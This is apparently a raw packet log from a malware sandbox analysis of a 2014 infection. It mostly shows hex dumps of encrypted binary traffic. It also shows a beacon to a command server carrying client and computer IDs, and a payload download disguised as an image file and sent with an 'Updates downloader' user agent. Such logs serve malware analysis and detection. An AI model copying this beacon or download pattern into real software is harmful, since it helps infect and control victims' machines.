Feb 27, 2014 17:55:43.492311001 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: e6 ee 1d ee 31 ea 0f 78 34 bb e0 a9 04 dc b4 2e 73 4c 58 e5 17 b9 43 ff 43 48 89 7f db ba 6a 3e 06 ea 3e 37 d2 b4 9e be 17 f9 39 b2 b3 6f 39 50 f7 45 48 20 12 ea 43 ac db 89 b8 d0 14 a9 2f 48 05 ba 60 a2 a1 b1 56 bc 10 32 35 fa e2 eb f3 03 b5 e9 Data Ascii: 1x4.sLXCCHj>>79o9PEH C/H`V25"W3LYCsy&i<\0q~MiT]FEjUB"67lOXc`j&,9_X8}YZRodA2o*Xw2:XH'	638
Feb 27, 2014 17:55:43.493540049 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: ca 39 0f d7 b5 ac dc 41 c8 38 ce cd f3 2d 17 8b 1f 4e 17 a8 cb fd 07 f9 81 ec dc 8e 2c fa 06 bd 4a 8a 9c e6 eb bc 77 fc 42 ac 57 d0 0c 2c 9d 52 32 e4 17 ab b3 44 2f 64 44 e8 45 f9 0a c8 01 b0 21 e9 19 2f 4a 95 e7 81 1a 0c bf ac 4f ac 33 c9 5e 4e Data Ascii: 9A8-N,JwBW,R2D/dDE!/JO3^N\Ct(#^Z9mJNO)>#^b5Cwo3:J%o1"d3ThjE,":KwUJejf~2tT%QykJ)ISO	640
Feb 27, 2014 17:55:43.493668079 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 14 64 01 21 4a be a8 cc 0f e9 50 b1 15 ac c8 b9 c3 07 05 33 4f 29 17 56 7b fe aa f1 f2 67 57 e9 7f b1 d2 a6 4a 18 6f 9d fc ac 5f c5 3e 5f 57 5b cb ac 17 32 0c 8b 23 b1 8b a6 74 f9 4f c6 7e e8 06 27 13 b9 4a 2c 9a 49 45 00 35 1d 4d ac 17 f9 42 bf Data Ascii: d!JP3O)V{gWJo_>_W[2#tO~'J,IE5MBCBJLpaJ)M?BKLGJ/KCJRwFVM[4dX{J=GZyoD Ht0J~jVaBV2GDpR	641
Feb 27, 2014 17:55:43.504344940 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7f d9 5e 8d 67 d3 52 ad 01 5a 3a bd bc be 4e e6 bb c9 55 ec 5a 65 3c ac 17 ee 9e 4e b9 52 4b 33 13 f9 e6 b4 09 41 9b a7 6a d9 4a 61 0a f2 82 0b e7 cb ae ac f6 f7 37 21 de 27 44 8f 17 b7 d6 62 be 4a 8f a5 cf f9 11 0d a4 64 21 26 05 fd 4a ee 4d e3 Data Ascii: ^gRZ:NUZe<NRK3AjJa7!'DbJd!&JM4cHw[XK;xJ]m^12)RJi2E?OaY"J[NxZ9ebCBzJv}npdD	642
Feb 27, 2014 17:55:43.504349947 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 77 f9 2b ce 74 9d 2f ca 70 91 4a c5 7d 92 26 c1 79 96 3a ac 66 8b 39 d8 62 8f 3d d4 97 80 30 d7 6b 84 34 d3 16 80 99 d3 17 86 4a ac 37 b7 4a 84 51 f9 85 aa c6 b6 4a e4 17 e9 10 ac 93 a9 4a e7 1f a3 cb e4 17 f8 2e ac de f6 c8 e4 17 fb b1 c8 17 3c Data Ascii: w+t/pJ}&y:f9b=0k4J7JQJJ.<D(uU1WJ(u(mVmI=KuJWJSJ7hITGWAHx/\|J*q&uv=j9o4c03X\JQUVJOC8o<Jj1	643
Feb 27, 2014 17:55:43.504445076 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7e 96 0a c2 52 81 0b ac dc fb 51 ed 57 95 26 c3 74 f9 00 ad 0c a9 0a de 78 9a 2f df 64 f8 5f ac 13 f9 28 ad 06 aa 3e cd 65 8d 4a d9 67 b0 24 ca 78 b8 4a ee 52 fc 69 ed 73 9d 38 2c 04 f9 0a ac 0e f8 0f d4 7e fc 51 ac dd 9d c9 b4 73 fd 2f ac 04 7e Data Ascii: ~RQW&tx/d_(>eJg$xJRis8,~Qs/~Azx${ZR)g>,QE.K-CJa8y/yyl~-VJtE@J#rJvZ&ccJxv>e@?<JxLb>)3rJ}/r/T96t&r)-%	644
Feb 27, 2014 17:55:43.515532970 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 49 2e 6d f9 2d 3e 14 1f 1b f8 78 7c 1e ac 13 db 19 a6 78 19 5a c9 d4 94 4a 87 14 b5 96 ef 5a 79 4c ee 45 19 4b 81 fe f8 6a f8 c9 9f a9 c1 b6 f8 6b fe 37 fd 23 87 15 99 4e 53 08 f9 55 ac 08 f9 55 ac 08 f9 55 ac 08 f9 55 ac 14 e6 4a b7 17 98 28 de Data Ascii: I.m->x\|xZJZyLEKjk7#NSUUUUJ(x+=9b#rYx/+Uj/#z?x%UJw[wQ*>J%r?nT)M!JR/TE87$WF[J3>"'Xv2\IkKz!WawWi	646
Feb 27, 2014 17:55:43.515538931 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 62 89 5b ab 4a 61 dc 09 81 06 86 ee c5 ac 07 38 7e eb 66 93 5e e8 17 59 2f 34 46 fd df c0 75 79 4f 74 e2 9a 42 d4 55 5c 63 ac c5 34 36 7c 11 99 e6 14 17 4c 5c 04 26 4d d8 6f 05 f9 7a bc a1 f9 0d fc 95 a9 4a 05 bb f9 b8 cf 18 a9 91 ad d3 d0 28 a9 Data Ascii: b[Ja8~f^Y/4FuyOtBU\c46\|L\&MozJ(bd2BpLgj0Z0,+k0gMJ#}BhBJqPI8JmAW\|A1Z7bVuJzOXkaPQ`-n"Cd+	647
Feb 27, 2014 17:55:43.515543938 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a d9 08 3c 11 c0 d3 f9 5e ac ea 67 f2 db 8e f6 4a 77 79 4c 66 ea 8d 0d 74 b4 56 6b ca 2c 51 f8 61 68 02 ef 4a 0b 17 1b eb 5c 6d dd 74 8c f3 45 48 ab 86 f8 69 ec 17 f9 82 1c 07 94 c3 16 58 88 4a 14 42 b9 81 13 1c af 76 b4 d0 46 6c ad 56 79 53 8b Data Ascii: J<^gJwyLftVk,QahJ\mtEHiXJBvFlVyS*J-ZOKMFF90[S4Wh0:\-yyW8pR<nZC/x8WzH HJFJ_ClLZeO;?).ODO	648
Feb 27, 2014 17:55:43.548496962 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: fe ac 1f 50 f0 0a 68 ef 00 ec 17 11 17 ac 54 e3 7c e9 26 f9 98 03 10 df e2 1e bd 4c 52 63 27 f9 09 c2 76 f6 9a e9 97 f9 0a 18 10 1e 8d f1 12 00 4a 9d 47 71 41 46 94 34 0a bc a1 b9 fe 12 b3 a9 0e 65 d8 f9 32 a9 2b af 4a e0 81 f1 4a c8 e1 99 fa 83 Data Ascii: PhT\|&LRc'vJGqAF4e2+JJq$w,K4Gi.,JUNeJs\O?\|FugJV\S_WU57FW"Jd(Jf?d-a)fHkj9t>RzJBzS{)VF	650
Feb 27, 2014 17:55:43.548501968 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1c 53 2e bd a8 29 57 4e 6b ac 39 e0 4c 8a 30 9e 4a 24 79 da 77 b2 91 c5 e2 ac b4 5c ad 86 21 d7 54 23 57 9b ca 3c dc a1 6c 0f 31 e6 4a f6 d9 d7 9e 52 c8 07 40 ac c9 ed 22 8d 8d a4 fe 8a 17 b9 d3 ec f5 b9 e9 1a af fb da a9 30 37 71 0e dc 78 18 ac Data Ascii: S.)WNk9L0J$yw\!T#W<l1JR@"07qxWzH18rPJ9Bb_i24x3ezzb&<-"jFHdRi.2'?j%UJ>\\|In~j]c!ybMq0ZJP	651
Feb 27, 2014 17:55:43.548626900 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 0a 37 e5 a1 4a 5e 4d f2 1e cb 02 79 2c ac b9 09 ed da fc b8 d0 70 17 46 84 1e 34 b7 9c c7 68 f9 59 b9 ac b5 95 63 7c 22 4a d3 9d 35 40 2c f8 38 4b ac 91 a4 64 f7 fb eb ef de 17 ad b9 4e 52 57 48 23 40 f9 Data Ascii: 7J^My,pF4hYc\|"J5@,8KdNRWH#@	651
Feb 27, 2014 17:55:43.548758030 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4a 77 b5 02 33 a4 79 db 6a 32 52 f2 80 17 97 e4 6a 65 17 b8 03 c7 c9 df e1 eb 13 f9 ed 0f c9 aa 8c 67 57 cd 4a cd 7e 46 c0 61 1d 79 de ac da 55 95 5e 88 9b 4e 37 17 39 f8 63 57 3d bf 04 98 d9 5b db a1 51 9c 6c 13 8f dd ac 17 62 ac 04 98 b9 9c b3 Data Ascii: Jw3yj2RjegWJ~FayU^N79cW=[Qlb&J%+ZE%JF4hpzvJcHpM"{H7p!EX5E-bJ7_^^`WvQJ gF.syI9m7Q	653
Feb 27, 2014 17:55:43.548763037 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: f7 f2 d3 a4 0a 80 6f d9 b1 2c 23 12 0c ca 46 12 c6 ac ad ed 19 25 69 2e f7 c2 17 a3 5b e8 d2 b0 c8 ac ea f1 0c 74 a1 bd 1a ee 57 53 0a ac 92 d9 2b f5 be 26 da 44 17 fa 4f f7 32 78 ec ef 57 fd d6 2e b3 a9 e3 e5 99 e3 0e ac 1d 83 21 83 70 32 73 67 Data Ascii: o,#F%i.[tWS+&DO2xW.!p2sgKC^W?x2,KB\?5Jw"M:&g9Km<,OJydmDGdJhWve7~3r"9:? iB+WJ{POd/\|@^sMJ	654
Feb 27, 2014 17:55:43.548774958 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 99 a2 e3 e9 78 ed 1f d7 bc 8a 7f ad d2 ac 4b 97 27 be 3e fd 4d df 17 b1 4a f9 5b 9d 02 13 03 f1 26 eb 93 3f 6c 8a 27 bd fb ac af cf 0a 35 d7 f9 02 9f 17 3f 90 70 3b 96 d6 29 9f b9 7c 7c 78 00 a0 b7 b1 df 5b ac 6c a1 46 d0 cf fd a0 d2 17 be 60 7c Data Ascii: xK'>MJ[&?l'5?p;)\|\|x[lF`\|WQTz}Z 0vQS#WJ%PT{>W~.wn?J:Q>54.\|xo^{3#io0$IFa\$x/#lx*yF	656
Feb 27, 2014 17:55:43.548877001 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 02 ac 43 64 f1 c8 d3 8c e4 2c 17 d4 34 87 16 b9 20 e0 c8 b9 43 48 b9 75 96 fe 13 ab 78 ac 24 69 91 98 2d be 0e f3 17 d5 b8 16 6e 7c 7a 98 a0 f1 ce 45 a0 fd 7d 6e 50 bf 11 ac 33 79 a2 ad 89 78 76 ec 17 9e e7 15 04 d5 51 e9 5e fd 62 7e 71 a8 8e 92 Data Ascii: Cd,4 CHux$i-n\|zE}nP3yxvQ^b~qJRi)B*(G8WgS+<PV\"%N.CIf~7OvhJeRF^obLi!t.Jo<Zt#`JES#FWar	657
Feb 27, 2014 17:55:43.559632063 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 16 c8 4a b8 d2 b9 1f ea 79 8b 50 8c 17 41 f1 fd 97 8c 63 6f 01 f9 c6 f1 93 f9 de f6 65 db 4a 33 b1 f9 18 01 f6 3a a6 ac 26 c0 88 16 2f dc 39 3f 07 e2 0a 84 d7 5c 63 f9 05 bc 4a 7d 56 d2 7e 58 89 e2 79 a4 76 b9 56 bf 3e 3a 66 c1 0e f9 15 c6 55 6e Data Ascii: JyPAcoeJ3:&/9?\cJ}V~XyvV>:fUnzJ(=%h\b5_dJT"'c:5XCH#QJcOU1fz^vC JznXZq&UB/czC#F ~(%,CegWKx>H9	659
Feb 27, 2014 17:55:43.559637070 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: af f9 fa b3 a1 f9 da 14 17 68 f2 ac fd 6b f2 ac 84 41 4a af d6 9b fb bd 27 f9 bf 9d 05 06 4a ac 97 78 4a a3 17 f3 4a dd 15 ee 4b ac c5 9d 4e ac 16 81 4a eb a2 03 4a a4 17 f8 46 dc 02 41 5f d0 3a a7 5f 92 bc 80 4a 2d 52 ef ca ad 15 7d 4b af 93 fa Data Ascii: hkAJ'JxJJKNJJFA_:_J-R}KR,yKyKM,}G-<xW-}CyK6}A(E}AD}I(*7yKV,W8(Bx)my=K=M/hh=IhShN=M{	660
Feb 27, 2014 17:55:43.559730053 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 72 f9 39 cf 65 90 3a d8 7e 96 4a c2 64 d9 25 ca 37 8d 22 ac 72 d9 27 c3 65 9c 6a cf 17 96 27 c1 78 97 6a d8 72 79 38 c1 64 fd 4a df 7c f8 ee 8d 15 73 2c c5 74 98 49 f0 79 9c 4a cf 72 8a 39 cd 65 80 4f ae 17 f9 18 c8 72 95 23 da 72 e9 38 d5 11 f9 Data Ascii: r9e:~Jd%7"r'ej'xjry8dJ\|s,tIyJr9eOr#r8Je$?JI_NJIGyKl.,G5Jkh6MHhKI5//J1@xB-xSE.@r*\|AZy[yY$yY.h[5yM	661
Feb 27, 2014 17:55:52.953211069 MEZ	1059	80	192.168.0.18	95.211.192.195	GET /tasks?version=106&group=0227&client=063b46785777ce6ac12c9b3e8520ff52&computer=506407&os=5.1&latency=0.0 HTTP/1.1 User-Agent: Microsoft-CryptoAPI/6.1 Host: 95.211.192.195 Connection: Keep-Alive	662
Feb 27, 2014 17:56:05.679759979 MEZ	1060	80	192.168.0.18	103.8.127.189	GET /images/27UKp.fb2 HTTP/1.1 Accept: text/, application/ User-Agent: Updates downloader Host: goldwinevents.com Cache-Control: no-cache Connection: Keep-Alive	662
Feb 27, 2014 17:56:06.729748964 MEZ	80	1060	103.8.127.189	192.168.0.18	HTTP/1.1 200 OK Date: Thu, 27 Feb 2014 16:56:03 GMT Server: Apache Last-Modified: Thu, 27 Feb 2014 15:35:26 GMT Accept-Ranges: bytes Content-Length: 469739 Keep-Alive: timeout=5, max=20000 Connection: Keep-Alive Content-Type: text/plain Data Raw: 5a 5a 50 00 fd 16 17 b4 10 3c 17 fa 4a ac 17 7b 4e ac 27 06 b5 ac 17 41 4a 94 3a f8 4a ec 13 c1 53 ac ff f9 46 a2 08 f9 f0 a2 17 4d 43 61 36 41 4a ad 5b 34 6b f8 7f 90 39 ac 37 89 38 c3 70 8b 2b c1 17 d9 29 cd 79 97 25 d8 37 f9 28 c9 37 8b 3f c2 37 90 4a c2 37 bd 05 ff 37 94 25 2c 73 9c 64 a1 1a f3 6e a8 91 f9 ad 0b 6f c8 e9 6a 01 9b 0b a9 14 35 fa 11 75 43 48 ab 9f bd 28 1e 15 fe f6 ce f7 f9 4d 06 07 47 cf ce b7 fb 69 bb 75 12 5b ae 00 40 28 0d 15 fe c1 ce b5 98 4a ab 45 90 29 c4 16 c6 5f 07 47 f9 0f ac 17 b5 4b a8 17 28 42 f6 e6 ab 4f bf f7 f9 49 ad 17 f2 4b a6 17 f9 38 a4 17 5d 4a 96 94 f0 b8 bb 17 fb 5a 2c 16 db da 2c 1e f9 4a bf 95 fc 48 ac 27 f9 4f ac 16 7b 45 29 14 f9 ba 0f 97 f6 4a 36 1a 79 43 ad 18 78 48 b6 18 78 5f 2a 14 ff 49 ae Data Ascii: ZZP<J{N'AJ:JSFMCa6AJ[4k978p+)y%7(7?7J77%,sdnoj5uCH(MGiu[@(JE)_GK(BOIK8]JZ,,JH'O{E)J6yCxHx_*I	663
Feb 27, 2014 17:56:06.742623091 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 ed fc a4 17 9b 62 ae 2d f1 4a 18 13 d8 7b ac d7 d5 f8 a4 9c 34 ca ff ef 61 5d 82 63 31 2f d4 63 79 49 84 66 79 1d ad 5f fe cb d9 16 0f 42 ac 37 f9 4a cc 39 f9 38 c8 76 8d 2b ac 17 43 a0 87 d3 c7 66 6c 16 8f 88 ec 11 f9 8a b1 d3 b9 64 2f 1e f9 Data Ascii: b-J{4a]c1/cyIfy_B7J98v+Cfld/7Cl99eJh6YUJJJErJ'CFn+>&SB(?P*a>'V{[zJMFqM>K/?ZrmImH/E>RJN	664
Feb 27, 2014 17:56:06.742630005 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 11 78 6c 11 7c 8a ec 62 f1 20 b0 ff aa 2a b4 4e 75 a2 0a b7 66 48 ad 07 11 08 ae 16 f9 1a b8 17 f9 c3 d9 eb 11 4e af 05 78 4b d5 1f 93 51 44 35 a2 db e7 e8 ec 46 3c 1f 5a d6 ad a7 f0 a2 fc 06 f9 4a 0f a7 74 6b e4 9c 29 df fe 15 f1 a2 99 46 fb Data Ascii: xl\|b NufHNxKQD5F<ZJtk)FDNn NcDH-'JZR=KZ1}eQMRsLDJG9rrB'ppD)^N:'rH/7]dRD_KqlFmzg5	666
Feb 27, 2014 17:56:06.742763996 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 92 30 3e e5 9c 28 ca 6d fd fd cf 7e 63 ee c3 9b 17 86 4d 21 61 e9 c7 d3 07 f9 00 d9 f8 7a ab a3 63 dd 4a 27 d6 38 a3 ae 63 f4 c1 ac 01 70 5d 21 61 fd c7 d3 17 fd 03 d9 e4 72 82 2f f6 f9 49 d8 1e 73 4c 24 10 bf 4a eb 5e 8c bd f4 49 a6 17 a4 d4 43 Data Ascii: 0>(m~cM!azcJ'8cp]!ar/IsL$J^ICZlq'BH8&?_NLqjJ:JvwR}SW%KkxrJ-/9?Zbn'WwjjcwDKb8ye;NyPyl9S}"	667
Feb 27, 2014 17:56:06.775058985 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 8a ae 17 fb b2 25 6a f9 9e 25 4a 25 c3 d1 cf 7a 4e 43 13 99 4b 97 ec 8b 01 44 17 b8 41 ac 17 c0 4d d8 fa 68 ca ad 29 06 7d 6d 11 11 64 ec 15 89 c3 ab e8 2a a9 a5 56 fb 0f a4 2e f9 17 70 62 fc 73 e9 cf 8d c8 a2 f6 f1 17 7c 9e bc 92 0e 1d f9 c1 f1 Data Ascii: %j%J%zNCKDAMh)}md*V.pbs\|kRd['RJNL3NLR7!ZckKL9k!VI\|XHoEXNwhK`}sO8K0(jxM^`yl	667
Feb 27, 2014 17:56:06.786103010 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ff 1d 6a da 55 f2 3f f4 b2 06 ff ed 09 99 48 7c 71 fb db 2c 7f e9 6a ad 17 91 a2 ac 30 e1 1d 44 5a 39 30 6c 15 12 14 ff 1e f8 4a 45 6e b9 6f c6 e3 06 5f ae 47 58 9d 5c 2c 0a 3e ea 94 f9 b4 53 63 b8 79 6c 9d f5 6a eb 9f 75 4f a4 77 f0 2c 95 97 e5 Data Ascii: jU?H\|q,j0DZ90lJEno_GX\,>ScyljuOw,wXj)!\|+GqW'lTOA_vJ~_SegVy_,b\6W)jNdV8)YrZz<WqkeKmdHlM'G~WM	669
Feb 27, 2014 17:56:06.786108971 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d6 f6 ce af b6 f9 52 2f d3 39 4e 9c 1a fa 89 12 86 fb fb a2 97 27 36 ae 9c 27 73 b1 f6 ff 7a d1 7c 46 ce cc 17 e8 40 44 33 da b8 a5 d7 d8 1b 2f 12 48 4b 8c 9a d3 c2 be 14 fe aa cc 26 cd 43 2f 77 f9 49 ac 97 99 55 2c 94 99 06 9f 17 0a 43 fc 17 d9 Data Ascii: R/9N'6'sz\|F@D3/HK&C/wIU,C@lj7,G>9wirJ/>iRcjZ?7HAw'zrmJaIEnpLyNyF}@\-Nr6(HMy;	670
Feb 27, 2014 17:56:06.786240101 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 91 ed c7 e8 91 b9 5a 25 52 09 c1 ac f7 ed cf 2c de 8d 5e 27 c0 11 ee 2c 40 f8 ca a2 16 7c 8a d4 57 86 0d 8c 9c bc b2 27 cf 59 44 d9 d9 f9 ca d1 e8 f9 3e 88 9c ff 5f e7 07 a2 0e bc 41 bb 5a 96 ff b2 7f ee 07 0d e9 b7 d4 f9 5d 0d 0a 12 83 ac 9c b4 Data Ascii: Z%R,^',@\|W'YD>_AZ]B-.9?>tnJD/jcKE_Mz7.c"/5*orT]MP_J=vDE(XKh1DIEo&Z,z/TwJS,>>:>	671
Feb 27, 2014 17:56:06.892761946 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 65 0d 57 39 3e e8 ad c5 ca ac 9e bc ae 8c 5e e8 4a 95 1f 8c 66 27 5f fd c3 ec 5d fd 1a 44 3e 13 ea 93 e8 e9 3c a8 ff d9 cb ac 94 9f 4e eb f7 cd d9 f5 87 de 4a 44 7f a9 4f 6f 47 72 9a 47 d2 59 4f 3b f7 e9 13 8d 04 e9 c1 f8 33 fd ba ab 1f 0e 48 6e Data Ascii: eW9>^Jf'_]D><NJDOoGrGYO;3Hn5v'K@lcp?>-HK7+b;?~oiQll[(qsH;KW;R?OzqAY?'\|sSDaSUDgq	671
Feb 27, 2014 17:56:06.907605886 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9c 06 19 27 0a 8d 0a ae 53 af f4 9d 16 ae c1 92 e7 7b 59 ac 94 87 4e ad 63 f4 1d 53 87 2a 1d 44 8e b9 56 2f 31 d9 66 8c d1 f1 cb 52 57 a9 77 d0 cb a8 d8 ae 48 72 4c dc 12 f0 db ae 62 e9 49 fc e8 2a bd ad f1 a7 11 bd 41 f6 b5 98 d2 38 48 53 02 4d Data Ascii: 'S{YNcSDV/1fRWwHrLbIA8HSMnI{UgWWMZ<o>e_y!#AN>}8qWbD){kZj}sbj9W]1^KpHm<XKI!ODZGc	673
Feb 27, 2014 17:56:06.907623053 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 4f c1 91 1f 79 4d a8 7f 11 4a a1 44 06 9d 29 d7 71 45 28 ed f9 7e 27 22 d1 ca a6 b7 a9 b5 7a 7f 21 4b a0 b4 f8 68 f8 e8 2e cb ab d3 7b 4d 64 91 fe e2 c9 95 fe 86 29 10 5a 9e 2c 13 79 31 bc bb 91 da ef 03 38 4e 7c d7 fd eb ad 16 b9 c1 e1 ff 72 Data Ascii: OyMJD)qE(~'"z!Kh.{Md)Z,y18N\|rWq8@(zlScwcK4S!Z% GLZRKbJ8hRF>Xl\|M@2LTn$?,H$4DJ0Ar?@9	674
Feb 27, 2014 17:56:06.907743931 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 36 ca 79 3c 1c 70 57 74 67 99 ca 2f e9 07 3f b2 d0 fc eb ac 36 99 5a ac e8 ec 92 2c 13 c1 17 a4 eb 8d 0f 18 26 12 76 2f e9 d1 b7 d9 05 d0 48 78 37 fb a1 77 17 7a b4 50 62 eb c1 e9 e7 ea ea 95 d0 f8 a1 68 a6 fa 4d 27 52 f9 b2 2f 77 89 b7 27 d1 a2 Data Ascii: 6y<pWtg/?6Z,&v/Hx7wzPbhM'R/w'["z('%BD'}ylXVyG'EhRl'w\8Kyw(ciH-ON_pE(AK!0{jJ!TpD{?y7B7<t?	675
Feb 27, 2014 17:56:06.956234932 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ef 2f 5f da 4a ff 47 a0 a2 18 97 fa 13 ba 4e 99 d4 ec 0b 7c 4b b6 9c 8c 96 a4 e8 8f 22 fa 25 e8 c1 ea 7f bb 77 df 25 a9 a2 1f c1 39 48 25 37 a7 22 ff 9c c4 db 9d e8 2e ca 5a 51 89 48 a3 92 13 2a af 93 0f 4f 7d 2e f8 45 29 ca 39 4a a5 07 cb b0 43 Data Ascii: /_JGN\|K"%w%9H%7".ZQH*O}.E)9JC2k=BJzZ.Ky<K7G&[V$qi/$?{,A-{Z_7JciJ7x=DDID^-BD	676
Feb 27, 2014 17:56:06.966301918 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2b a9 0e 44 a9 f9 48 27 91 35 fa ac a8 7b ca ec 17 d2 8d fc ff 52 68 ad 8d 29 9e ac 8a 3b 4e 5d 14 11 d8 0c 17 b0 5a 22 9c 7f cb a2 2a 61 2b bd 0c d5 73 34 26 f0 9b a4 7b d9 c7 53 a1 b0 eb ad ff 90 18 ab 9a 87 0c b8 68 28 09 b8 06 72 4d ec 1f f2 Data Ascii: +DH'5{Rh);N]Z"*a+s4&{Sh(rMGhVs-:K/_kAepV>\KL''%/ )AztNx\gk>de:P!Mo:b4otv:v{2@IL[S"x/w?&-	677
Feb 27, 2014 17:56:06.966531992 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2c 02 3e a4 7f 3e 4d 8d 00 7a 8d a4 fc d9 50 fc ff 29 80 21 00 72 b2 bc fc fb 79 53 17 fc 75 53 62 e3 b2 ec 1b 09 e2 a0 57 a0 68 ff 44 f9 73 f1 37 8c 4e ff 44 12 3a aa e8 8c 6a 6c 07 38 4e ac 3c dd 52 53 02 99 aa b5 37 e1 1d 44 16 df b7 0c 1d 19 Data Ascii: ,>>MzP)!rySuSbWhDs7ND:jl8N<RS7DLD'R,rDS>vmt\?3@Gz3y7PM'W/vpHVW[VW9iSWSh~(Xxe)>u}i	678
Feb 27, 2014 17:56:07.006076097 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a c2 b5 f9 8a 0d 17 9a 1f 0e 17 3d eb ac 4f 5b 4a 64 b6 f9 07 0f b5 f9 ea 8a 17 11 08 89 1c 29 9b ac bd cd c8 ad af 58 4a 85 b5 f9 92 0d 17 93 54 0e 17 25 eb ac 04 5b 4a fd 51 11 00 a4 b5 f9 ae 0d 17 04 82 0d 17 11 ff 0d 17 0b e8 ac fb 0b 45 0e Data Ascii: J=O[Jd)XJT%[JQE-z[J\E^[JPYJ5F}xXJB[J!wXJj([J~f'XJB[JY\+XJQXJ^_XJYJ	679
Feb 27, 2014 17:56:07.006093025 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a bc 17 f9 2a fc 46 70 07 50 14 a0 4a 18 18 fd cf 33 17 ab c1 ef 1f 06 39 ac 13 fa 0f a4 47 06 3f 50 13 11 54 a9 41 3d 46 53 52 f5 42 2f d4 d1 4a e7 6b 55 c1 f2 17 cd 71 57 63 8b c1 2a b7 f9 4a ac 17 7c 8a d8 7f 72 4e 22 b3 f8 43 65 63 a7 49 6b Data Ascii: JFpPJ39G?PTA=FSRB/JkUqWcJ\|rN"CecIkr![yZB%ZE(%Z9rNJ G\|cWw-I^zqNR8},~z(JiJs }pFSF>;sy %RK9>Z	681
Feb 27, 2014 17:56:07.006095886 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ae 49 ff fd d7 48 86 f3 46 04 93 79 21 23 c4 f2 28 be 4e f7 bf 8b 97 79 aa bc 14 49 ab 48 aa 18 58 a1 e7 f9 b5 0f 04 f4 88 ae b7 38 5b e0 0e 79 ca ec e8 b9 e6 45 f3 18 f5 48 37 fa 35 cc 7f 58 ca 2c 38 5b 43 ad 19 06 46 2c b3 e6 49 bc 14 39 b5 00 Data Ascii: IHFy!#(NyIHX8[yEH75X,8[CF,I9)@ZzZ!,IXJJJJSXXXXJJJJKJJXXX%iJ-ep5(,_yIu(bHirsS	682
Feb 27, 2014 17:56:07.006242037 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 49 c4 e8 7b 2a e8 49 7c bd c4 32 71 6a aa 16 99 74 6f 57 1d e2 44 c5 3d 4a 64 b7 b9 89 a5 5f f4 a7 ec ba dd 2b 84 1a 32 ca f4 1a 79 bd 69 33 39 8e 58 d3 f9 4a be 17 19 60 88 28 19 3a 6c 56 3d ca a5 d2 dd 7d c1 92 11 cb 84 46 fb ca a9 97 42 49 93 Data Ascii: I{*I\|2qjtoWD=Jd_+2yi39XJ`(:lV=}FBIpHFXL]Cv`yh7\|z#,';K'%I,Fw7(7lPYze&7RP),yW5N`<$=	684
Feb 27, 2014 17:56:07.016727924 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 21 d8 fd 6c 26 c1 2a ba 97 bb fd 3c 19 59 bd 44 57 08 57 44 3f d9 eb d1 85 da ae 58 04 31 0f b5 97 f9 6b da d5 fb 7a b3 93 0f 47 ad 37 cc bf c1 57 f0 8f b7 7b 99 03 ed 36 82 86 6d 6d fa 4e cc 18 f6 4e ab 13 8d 48 ac 13 94 ae 08 93 f9 55 c1 57 b8 Data Ascii: !l&<YDWWD?X1kzG7W{6mmNNHUWCUJ-V"}5$tol}hgJ du,W\\|tJ_PYnZCmWxuBw<-_WHCP()UdcHCle~xCRm9"VJ-r*	685
Feb 27, 2014 17:56:07.016745090 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 33 5d 4f 88 1b fb 6e 08 56 24 4a e4 b6 f9 4e 88 bf fd 6e c6 bb fd 6e 44 14 dd 6e ad 46 fc 6e 0c 82 fd 6e 08 12 dd 86 ae 33 fc 23 ec 40 e9 83 0d 5e ea 09 b7 bf 39 ca be 88 b9 58 00 6a f9 41 c1 e3 7c 4a 4c b7 79 3d 2c d7 11 8e 8e 4a 39 40 a1 20 fc Data Ascii: 3]OnV$JNnnDnFnn3#@^9XjA\|JLy=,J9@ kl,M$<8G<&l-,yC8mVwD&)x(r&TJ,z'GjlxmG='I9)cc58-zfD%,Y.I-ym)=	687
Feb 27, 2014 17:56:07.016887903 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 07 39 05 ec 9b 09 68 a5 7b 38 4a a5 a5 34 c2 68 1e 8b af ac 9b fc 2e d0 d2 f0 a7 2c 57 dc af 25 16 54 33 1e 1a 79 6a c5 b3 f8 a0 c0 67 d8 7d ad 97 95 ca 49 9e 59 6b 80 36 fe 0b bd 1f 70 8f 68 67 38 8a d4 Data Ascii: 9h{8J4h.,W%T3yjg}IYk6phg8	687
